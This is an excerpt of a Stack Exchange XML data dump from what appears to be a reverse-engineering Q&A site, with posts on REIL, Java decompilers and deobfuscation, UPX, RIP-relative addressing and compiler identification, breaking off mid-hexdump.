  <row Id="1358" PostTypeId="1" CreationDate="2013-03-28T19:05:30.293" Score="9" ViewCount="277" Body="&lt;p&gt;Apart from &lt;a href=&quot;http://www.zynamics.com/binnavi.html&quot;&gt;BinNavi&lt;/a&gt; (A commercial product from the creators of &lt;a href=&quot;http://www.zynamics.com/downloads/csw09.pdf&quot;&gt;REIL&lt;/a&gt;), I am only aware of one project using REIL, which &lt;a href=&quot;https://github.com/lightbulbone/ICE/blob/master/translator/x86_reil/x86.py&quot;&gt;implements a tiny handful&lt;/a&gt; (mov/add/sub/inc/jmp) of the translators to convert x86 to REIL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What other 3rd party REIL implementations are currently public?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further more, are there any public works using REIL for static analysis? (Either requiring BinNavi or another product which produces REIL output).&lt;/p&gt;&#xA;" OwnerUserId="123" LastActivityDate="2013-04-02T21:18:20.647" Title="REIL Implementations and Adoption?" Tags="|static-analysis|reil|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1359" PostTypeId="5" CreationDate="2013-03-28T19:37:25.767" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://www.java.com/en/&quot; rel=&quot;nofollow&quot; title=&quot;Java official Site&quot;&gt;Java&lt;/a&gt; is a high-level, platform-independent, object-oriented programming language and runtime environment. The Java language derives much of its syntax from &lt;a href=&quot;/questions/tagged/c&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'c'&quot; rel=&quot;tag&quot;&gt;c&lt;/a&gt; and &lt;a href=&quot;/questions/tagged/c%2b%2b&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'c++'&quot; rel=&quot;tag&quot;&gt;c++&lt;/a&gt;, but its object model is simpler than that of &lt;a href=&quot;/questions/tagged/c%2b%2b&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'c++'&quot; rel=&quot;tag&quot;&gt;c++&lt;/a&gt; and it has fewer low-level facilities. Java applications are typically compiled to bytecode (called class files) that can be executed by a Java Virtual Machine (&lt;a href=&quot;/questions/tagged/jvm&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'jvm'&quot; rel=&quot;tag&quot;&gt;jvm&lt;/a&gt;), independent of computer architecture. The &lt;a href=&quot;/questions/tagged/jvm&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'jvm'&quot; rel=&quot;tag&quot;&gt;jvm&lt;/a&gt; manages memory with the help of a garbage collector (see &lt;a href=&quot;/questions/tagged/garbage-collection&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'garbage-collection'&quot; rel=&quot;tag&quot;&gt;garbage-collection&lt;/a&gt;) in order to handle object removal from memory when not used anymore, as opposed to manually deallocating memory in other languages such as &lt;a href=&quot;/questions/tagged/c%2b%2b&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'c++'&quot; rel=&quot;tag&quot;&gt;c++&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Java is a general-purpose, concurrent, class-based, &lt;a href=&quot;/questions/tagged/object-oriented&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'object-oriented'&quot; rel=&quot;tag&quot;&gt;object-oriented&lt;/a&gt; language designed to have as few implementation dependencies as possible. It is intended to let application developers &quot;write once, run anywhere&quot; (WORA): code that executes on one platform need not be recompiled to run on another. Java is a popular programming language, particularly for &lt;a href=&quot;/questions/tagged/client-server&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'client-server'&quot; rel=&quot;tag&quot;&gt;client-server&lt;/a&gt; web applications, with 10 million reported users. Java was originally developed by James Gosling at Sun Microsystems (which has since merged into Oracle Corporation) and released in 1995 as a core component of Sun Microsystems' Java platform. The language derives much of its syntax from C and C++, but it has fewer low-level facilities than either of them.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Principles&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Java language was created with the following primary goals:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Simple, object-oriented and familiar.&lt;/li&gt;&#xA;&lt;li&gt;Robust and secure.&lt;/li&gt;&#xA;&lt;li&gt;Architecture-neutral and portable.&lt;/li&gt;&#xA;&lt;li&gt;Execute with high performance.&lt;/li&gt;&#xA;&lt;li&gt;Interpreted, multi-threaded, and dynamic.&lt;/li&gt;&#xA;&lt;li&gt;Write once, run anywhere (WORA).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Versions&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Notable Java versions, code-names, and release dates include:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JDK 1.0                  (January 23, 1996)&#xA;JDK 1.1                  (February 19, 1997)&#xA;J2SE 1.2    [Playground] (December 8, 1998)&#xA;J2SE 1.3    [Kestrel]    (May 8, 2000)&#xA;J2SE 1.4    [Merlin]     (February 6, 2002)&#xA;J2SE 5.0    [Tiger]      (September 30, 2004)&#xA;Java SE 6   [Mustang]    (December 11, 2006)&#xA;Java SE 7   [Dolphin]    (July 28, 2011)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more codename as release date, &lt;a href=&quot;http://java.sun.com/j2se/codenames.html&quot; rel=&quot;nofollow&quot;&gt;visit J2SE Code Names&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whats new in each version of JDK: &lt;a href=&quot;http://en.wikipedia.org/wiki/Java_version_history&quot; rel=&quot;nofollow&quot;&gt;click here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Java SE 8 is &lt;a href=&quot;https://blogs.oracle.com/javaone/resource/java_keynote/slide_16_full_size.gif&quot; rel=&quot;nofollow&quot;&gt;expected in the summer of 2013&lt;/a&gt; and is available as an &lt;a href=&quot;http://www.oracle.com/technetwork/java/javase/downloads/ea-jsp-142245.html&quot; rel=&quot;nofollow&quot;&gt;Early Access Download&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://www.oracle.com/technetwork/java/eol-135779.html&quot; rel=&quot;nofollow&quot;&gt;End Of Public Updates&lt;/a&gt; (Formerly called End Of Life) are:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;J2SE 1.4   -  Oct 2008&#xA;J2SE 5.0   -  Oct 2009&#xA;Java SE 6  -  Feb 2013&#xA;Java SE 7  -  Jul 2014&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Initial help&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;New to Java - need help to get your first Java program running? See the &lt;a href=&quot;http://download.oracle.com/javase/tutorial/getStarted/index.html&quot; rel=&quot;nofollow&quot;&gt;Oracle Java Tutorials section on Getting Started&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Before asking a question, use the search box in the upper right corner to see if it has been asked before by others (we have many duplicates), and please read &lt;a href=&quot;http://msmvps.com/blogs/jon_skeet/archive/2010/08/29/writing-the-perfect-question.aspx&quot; rel=&quot;nofollow&quot;&gt;Writing the perfect question&lt;/a&gt; to learn how to get Jon Skeet to answer your question.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Background&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Java_%28programming_language%29&quot; rel=&quot;nofollow&quot;&gt;Java&lt;/a&gt; is a high-level, platform-independent, &lt;a href=&quot;http://en.wikipedia.org/wiki/Object-oriented_programming&quot; rel=&quot;nofollow&quot;&gt;object-oriented programming language&lt;/a&gt; originally developed by James Gosling for Sun Microsystems and released in 1995. The Java trademark is currently owned by Oracle, which purchased Sun Microsystems on April 20, 2009. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main reference implementation of Java is open source (the &lt;a href=&quot;http://openjdk.java.net/&quot; rel=&quot;nofollow&quot;&gt;OpenJDK&lt;/a&gt;), which is supported by major companies including Oracle, Apple, SAP and IBM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very few computers can run Java programs directly. Therefore the Java environment is normally made available by installing a suitable software component. For Windows computers, this is usually done by downloading the free Java Runtime Environment (JRE) from Oracle which allows the system to run Java programs. The easiest way to do this is from &lt;a href=&quot;http://java.com&quot; rel=&quot;nofollow&quot;&gt;java.com&lt;/a&gt;, and on a Macintosh computer, the user is prompted to download Java when an application requiring it is started. In &lt;a href=&quot;/questions/tagged/linux&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'linux'&quot; rel=&quot;tag&quot;&gt;linux&lt;/a&gt;-like system, Java is typically installed via the package manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Developers frequently need additional tools which are available in the free Java Development Kit (JDK) alternative to the JRE, which for Windows must be downloaded from &lt;a href=&quot;http://www.oracle.com/technetwork/java/javase/downloads/index.html&quot; rel=&quot;nofollow&quot;&gt;Oracle&lt;/a&gt; and installed manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Java is compiled into bytecode which is interpreted on the JVM by compiling into native code. The compilation is done just-in-time (JIT). Initially this was viewed as a performance hit but with JVM and JIT compilation improvements this has become a lesser concern. Some time the JVM may be faster than native code compiled to target an older version of the processor for backward compatibility reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Other vendors exist, but they usually have license fees. For Linux and other platforms consult the operating system documentation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Java_%28programming_language%29&quot; rel=&quot;nofollow&quot;&gt;Wikipedia on Java&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Java_Development_Kit&quot; rel=&quot;nofollow&quot;&gt;Wikipedia on the JDK&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.oracle.com/technetwork/java/javase/downloads/index.html&quot; rel=&quot;nofollow&quot;&gt;Download Java from Oracle&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hello World&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public class HelloWorld {&#xA;  public static void main(String[] args) {&#xA;    System.out.println(&quot;Hello, World!&quot;);&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Compilation and invocation of Hello World:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;javac -d . HelloWorld.java&#xA;java -cp . HelloWorld&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Java source code is compiled to an intermediate form (bytecode instructions for the &lt;a href=&quot;http://en.wikipedia.org/wiki/Java_Virtual_Machine&quot; rel=&quot;nofollow&quot;&gt;Java Virtual Machine&lt;/a&gt;) that can be executed with the &lt;code&gt;java&lt;/code&gt; command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Beginners' resources&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.oracle.com/javase/tutorial/&quot; rel=&quot;nofollow&quot;&gt;The Java Tutorials&lt;/a&gt; - Starts from scratch on Windows/Linux/Mac and covers most of the standard library.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.oracle.com/javase/tutorial/java/generics/&quot; rel=&quot;nofollow&quot;&gt;Generics&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codingbat.com/java&quot; rel=&quot;nofollow&quot;&gt;Coding Bat (Java)&lt;/a&gt;- After learning some basics, refine and hone your Java skills with Coding Bat.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.oracle.com/technetwork/java/codeconv-138413.html&quot; rel=&quot;nofollow&quot;&gt;Code Conventions for the Java Programming Language&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://see.stanford.edu/see/courseinfo.aspx?coll=824a47e1-135f-4508-a5aa-866adcae1111&quot; rel=&quot;nofollow&quot;&gt;Stanford Video Lectures on Java&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Day to day resources&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.oracle.com/technetwork/java/javase/documentation/index.html&quot; rel=&quot;nofollow&quot;&gt;Java SE Documentation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://download.oracle.com/javase/7/docs/api&quot; rel=&quot;nofollow&quot;&gt;Java 7 API reference&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Advanced resources&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://java.sun.com/docs/books/jvms/&quot; rel=&quot;nofollow&quot;&gt;The Java Virtual Machine Specification&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://java.sun.com/docs/books/jls/&quot; rel=&quot;nofollow&quot;&gt;The Java Language Specification&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/List_of_JVM_languages&quot; rel=&quot;nofollow&quot;&gt;Other languages that can be mixed with Java on JVM&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Free Java Programming Books and Resources&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.phptr.com/content/images/013143697X/downloads/013143697X_book.pdf&quot; rel=&quot;nofollow&quot;&gt;Java Application Development on Linux by Carl Albing and Michael Schwarz(PDF)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://greenteapress.com/thinkapjava/&quot; rel=&quot;nofollow&quot;&gt;How to Think Like a Computer Scientist&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://download.oracle.com/javaee/6/tutorial/doc/javaeetutorial6.pdf&quot; rel=&quot;nofollow&quot;&gt;The Java EE6 Tutorial&lt;/a&gt; (PDF)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.redbooks.ibm.com/redbooks/SG245118.html&quot; rel=&quot;nofollow&quot;&gt;Java Thin-Client Programming&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://download.oracle.com/javase/tutorial/&quot; rel=&quot;nofollow&quot;&gt;Sun's Java Tutorials&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.mindview.net/Books/TIJ/&quot; rel=&quot;nofollow&quot;&gt;Thinking in Java&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://njbartlett.name/files/osgibook_preview_20091217.pdf&quot; rel=&quot;nofollow&quot;&gt;OSGi in Practice&lt;/a&gt; (PDF)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.mkyong.com/&quot; rel=&quot;nofollow&quot;&gt;Category wise tutorials - J2EE&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://roseindia.net/java/&quot; rel=&quot;nofollow&quot;&gt;Java Example Codes and Tutorials - J2EE&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="151" LastEditorUserId="151" LastEditDate="2013-04-01T14:14:31.567" LastActivityDate="2013-04-01T14:14:31.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1360" PostTypeId="4" CreationDate="2013-03-28T19:37:25.767" Score="0" Body="Java is an object-oriented language and runtime environment (JRE). Java programs are platform independent, because they are compiled to bytecode and their execution is handled by a Virtual Machine called the Java VM or JVM." OwnerUserId="151" LastEditorUserId="151" LastEditDate="2013-04-01T14:14:05.973" LastActivityDate="2013-04-01T14:14:05.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1361" PostTypeId="1" AcceptedAnswerId="1369" CreationDate="2013-03-28T20:28:48.750" Score="0" ViewCount="7080" Body="&lt;p&gt;What tools or methodology do you use to de-obfuscate Java classes?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I know you can theoretically decompile, modify and recompile, but that's only you fully trust a Java decompiler (and none is regularly updated).&lt;/li&gt;&#xA;&lt;li&gt;One might also edit java bytecode directly with &lt;a href=&quot;http://rejava.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;reJ&lt;/a&gt; but that's tedious and risky (it's easy to break the bytecode without any warnings...)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-03-28T21:45:35.800" LastActivityDate="2013-03-29T11:45:23.387" Title="How do you deobfuscate Java classes?" Tags="|tools|java|deobfuscation|" AnswerCount="2" CommentCount="5" ClosedDate="2013-03-30T01:26:59.303" ContentLicense="CC BY-SA 3.0" />
  <row Id="1362" PostTypeId="2" ParentId="1361" CreationDate="2013-03-28T20:28:48.750" Score="1" Body="&lt;p&gt;I use &lt;a href=&quot;http://dirty-joe.com/&quot; rel=&quot;nofollow&quot;&gt;Dirty JOE&lt;/a&gt;'s integrated python module and scripts to deobfuscate Constant Pool strings. However, that requires converting algorithms from Java to Python, by hand, and is limited to pool strings.&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2013-03-28T20:28:48.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1364" PostTypeId="2" ParentId="1358" CreationDate="2013-03-29T02:13:53.697" Score="5" Body="&lt;p&gt;I'm not sure about public tool support, but Axel Simon's research group has put out some work describing how they extended REIL:  &lt;a href=&quot;http://www2.in.tum.de/bib/files/sepp11precise.pdf&quot;&gt;http://www2.in.tum.de/bib/files/sepp11precise.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-03-29T02:13:53.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1365" PostTypeId="2" ParentId="305" CreationDate="2013-03-29T04:22:41.343" Score="12" Body="&lt;p&gt;One of the biggest differences between x86 and x86_64 is the introduction of RIP-relative addressing.  Similar to 32-bit ARM, data can now be (easily) referenced at an offset from the current RIP value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, here are the first few instructions of __libc_csu_init() in a x86 program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;08048420 &amp;lt;__libc_csu_init&amp;gt;:&#xA; 8048420:       55                      push   %ebp&#xA; 8048421:       57                      push   %edi&#xA; 8048422:       31 ff                   xor    %edi,%edi&#xA; 8048424:       56                      push   %esi&#xA; 8048425:       53                      push   %ebx&#xA; 8048426:       e8 f9 fe ff ff          call   8048324 &amp;lt;__x86.get_pc_thunk.bx&amp;gt;&#xA; 804842b:       81 c3 79 12 00 00       add    $0x1279,%ebx&#xA; 8048431:       83 ec 1c                sub    $0x1c,%esp&#xA; 8048434:       8b 6c 24 30             mov    0x30(%esp),%ebp&#xA; 8048438:       8d b3 0c ff ff ff       lea    -0xf4(%ebx),%esi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here it is on x86_64 (note 0x40050a and 0x400511):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000000400500 &amp;lt;__libc_csu_init&amp;gt;:&#xA;  400500:       48 89 6c 24 d8          mov    %rbp,-0x28(%rsp)&#xA;  400505:       4c 89 64 24 e0          mov    %r12,-0x20(%rsp)&#xA;  40050a:       48 8d 2d 97 01 20 00    lea    0x200197(%rip),%rbp        # 6006a8 &amp;lt;__init_array_end&amp;gt;&#xA;  400511:       4c 8d 25 88 01 20 00    lea    0x200188(%rip),%r12        # 6006a0 &amp;lt;__frame_dummy_init_array_entry&amp;gt;&#xA;  400518:       48 89 5c 24 d0          mov    %rbx,-0x30(%rsp)&#xA;  40051d:       4c 89 6c 24 e8          mov    %r13,-0x18(%rsp)&#xA;  400522:       4c 89 74 24 f0          mov    %r14,-0x10(%rsp)&#xA;  400527:       4c 89 7c 24 f8          mov    %r15,-0x8(%rsp)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can find more information about this convention here: &lt;a href=&quot;http://www.codegurus.be/codegurus/programming/riprelativeaddressing_en.htm&quot;&gt;http://www.codegurus.be/codegurus/programming/riprelativeaddressing_en.htm&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1313" LastActivityDate="2013-03-29T04:22:41.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1366" PostTypeId="5" CreationDate="2013-03-29T04:51:19.080" Score="0" Body="&lt;p&gt;UPX allows the compression of many different executable formats. To perform the compression either the UCL or LZMA algorithems are used. When using UCL the executable can in many cases decompressed in place without additional memory use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPX can be used as a first line of obfuscation as the executable must be decompressed before analysis. &lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2013-04-01T21:55:46.183" LastActivityDate="2013-04-01T21:55:46.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1367" PostTypeId="4" CreationDate="2013-03-29T04:51:19.080" Score="0" Body="the Ultimate Packer for eXecutables is a free, multiplatform, open-source executables packer." OwnerUserId="117" LastEditorUserId="188" LastEditDate="2013-04-12T16:57:10.147" LastActivityDate="2013-04-12T16:57:10.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1368" PostTypeId="2" ParentId="1327" CreationDate="2013-03-29T07:42:47.733" Score="5" Body="&lt;p&gt;At the moment, there is no way to debug a dylib. I know that it is a real problem, and I plan to add such a feature in a future update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing that will be added to Hopper is the ability to load multiple file in the same document, in order to disassemble things like kext for instance.&lt;/p&gt;&#xA;" OwnerUserId="1317" LastActivityDate="2013-03-29T07:42:47.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1369" PostTypeId="2" ParentId="1361" CreationDate="2013-03-29T10:22:00.753" Score="2" Body="&lt;p&gt;I am not exactly a Java expert but a while ago I researched the firmware of a car navigation system. For the java bits of it I used the &lt;a href=&quot;http://java.decompiler.free.fr/&quot; rel=&quot;nofollow&quot;&gt;“Java Decompiler project”&lt;/a&gt; and it seemed to work well for decompilation.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The “Java Decompiler project” aims to develop tools in order to&#xA;  decompile and analyze Java 5 “byte code” and the later versions.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;JD-Core is a library that reconstructs Java source code from one or&#xA;  more “.class” files. JD-Core may be used to recover lost source code&#xA;  and explore the source of Java runtime libraries. New features of Java&#xA;  5, such as annotations, generics or type “enum”, are supported. JD-GUI&#xA;  and JD-Eclipse include JD-Core library.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;JD-GUI is a standalone graphical utility that displays Java source&#xA;  codes of “.class” files. You can browse the reconstructed source code&#xA;  with the JD-GUI for instant access to methods and fields.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;JD-Eclipse is a plug-in for the Eclipse platform. It allows you to&#xA;  display all the Java sources during your debugging process, even if&#xA;  you do not have them all.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;JD-Core works with most current compilers including the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jdk1.1.8&#xA;jdk1.3.1&#xA;jdk1.4.2&#xA;jdk1.5.0&#xA;jdk1.6.0&#xA;jdk1.7.0&#xA;jikes-1.22&#xA;harmony-jdk-r533500&#xA;Eclipse Java Compiler v_677_R32x, 3.2.1 release&#xA;jrockit90_150_06&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="99" LastEditorUserId="99" LastEditDate="2013-03-29T11:45:23.387" LastActivityDate="2013-03-29T11:45:23.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1370" PostTypeId="1" AcceptedAnswerId="2138" CreationDate="2013-03-29T15:44:07.180" Score="63" ViewCount="134664" Body="&lt;p&gt;I am using &lt;a href=&quot;http://jd.benow.ca/&quot;&gt;JD-GUI&lt;/a&gt; to decompile Java JAR files, but the problem is that it leaves many errors, such as duplicate variables which I have to fix myself and check to see if the program still works (if I fixed the errors correctly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried Fernflower, but that leaves blank classes if it's missing a dependency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to know which decompiler:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;gives the least amount of errors&lt;/li&gt;&#xA;&lt;li&gt;deobfuscates the most.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user56" LastEditorUserId="-1" LastEditDate="2020-06-20T01:01:28.217" LastActivityDate="2022-03-14T16:54:02.800" Title="What is a good Java decompiler and deobfuscator?" Tags="|decompilation|tools|java|deobfuscation|jar|" AnswerCount="7" CommentCount="1" CommunityOwnedDate="2015-03-20T16:24:07.360" ContentLicense="CC BY-SA 3.0" />
  <row Id="1371" PostTypeId="2" ParentId="234" CreationDate="2013-03-29T16:08:24.067" Score="3" Body="&lt;p&gt;(Answer converted from comment)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recovering the toolchain provenance of the binary code you've specified, at the very least, requires comparing the results of various PIC compilers, I don't know PIC assembly but the last two instructions look interesting for identifying the compiler (Provided your disassembler has misinterpreted the information at &lt;code&gt;0x38&lt;/code&gt;, how can the instruction possibly be called?). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some compilers generate prologues to functions intended for quick-n-dirty later patching that can be a giveaway as well. Best of luck! &lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2013-03-29T16:08:24.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1372" PostTypeId="2" ParentId="170" CreationDate="2013-03-29T18:06:40.170" Score="4" Body="&lt;p&gt;Many of the previous answers have noted that this is impossible because the compiler will always leave artifacts behind. I decided to do a little case study using a program on Linux, although the idea is transferable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I created a small &quot;Hello World!&quot; file in C:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main(void) {&#xA;    puts(&quot;Hello World!&quot;);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I compiled it and used &lt;code&gt;hexdump -C&lt;/code&gt; on the results. The following except pretty clearly identifies the compiler!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00001020  47 43 43 3a 20 28 55 62  75 6e 74 75 2f 4c 69 6e  |GCC: (Ubuntu/Lin|&#xA;00001030  61 72 6f 20 34 2e 36 2e  33 2d 31 75 62 75 6e 74  |aro 4.6.3-1ubunt|&#xA;00001040  75 35 29 20 34 2e 36 2e  33 00 00 2e 73 79 6d 74  |u5) 4.6.3...symt|&#xA;00001050  61 62 00 2e 73 74 72 74  61 62 00 2e 73 68 73 74  |ab..strtab..shst|&#xA;00001060  72 74 61 62 00 2e 69 6e  74 65 72 70 00 2e 6e 6f  |rtab..interp..no|&#xA;00001070  74 65 2e 41 42 49 2d 74  61 67 00 2e 6e 6f 74 65  |te.ABI-tag..note|&#xA;00001080  2e 67 6e 75 2e 62 75 69  6c 64 2d 69 64 00 2e 67  |.gnu.build-id..g|&#xA;00001090  6e 75 2e 68 61 73 68 00  2e 64 79 6e 73 79 6d 00  |nu.hash..dynsym.|&#xA;000010a0  2e 64 79 6e 73 74 72 00  2e 67 6e 75 2e 76 65 72  |.dynstr..gnu.ver|&#xA;000010b0  73 69 6f 6e 00 2e 67 6e  75 2e 76 65 72 73 69 6f  |sion..gnu.versio|&#xA;000010c0  6e 5f 72 00 2e 72 65 6c  61 2e 64 79 6e 00 2e 72  |n_r..rela.dyn..r|&#xA;000010d0  65 6c 61 2e 70 6c 74 00  2e 69 6e 69 74 00 2e 74  |ela.plt..init..t|&#xA;000010e0  65 78 74 00 2e 66 69 6e  69 00 2e 72 6f 64 61 74  |ext..fini..rodat|&#xA;000010f0  61 00 2e 65 68 5f 66 72  61 6d 65 5f 68 64 72 00  |a..eh_frame_hdr.|&#xA;00001100  2e 65 68 5f 66 72 61 6d  65 00 2e 63 74 6f 72 73  |.eh_frame..ctors|&#xA;00001110  00 2e 64 74 6f 72 73 00  2e 6a 63 72 00 2e 64 79  |..dtors..jcr..dy|&#xA;00001120  6e 61 6d 69 63 00 2e 67  6f 74 00 2e 67 6f 74 2e  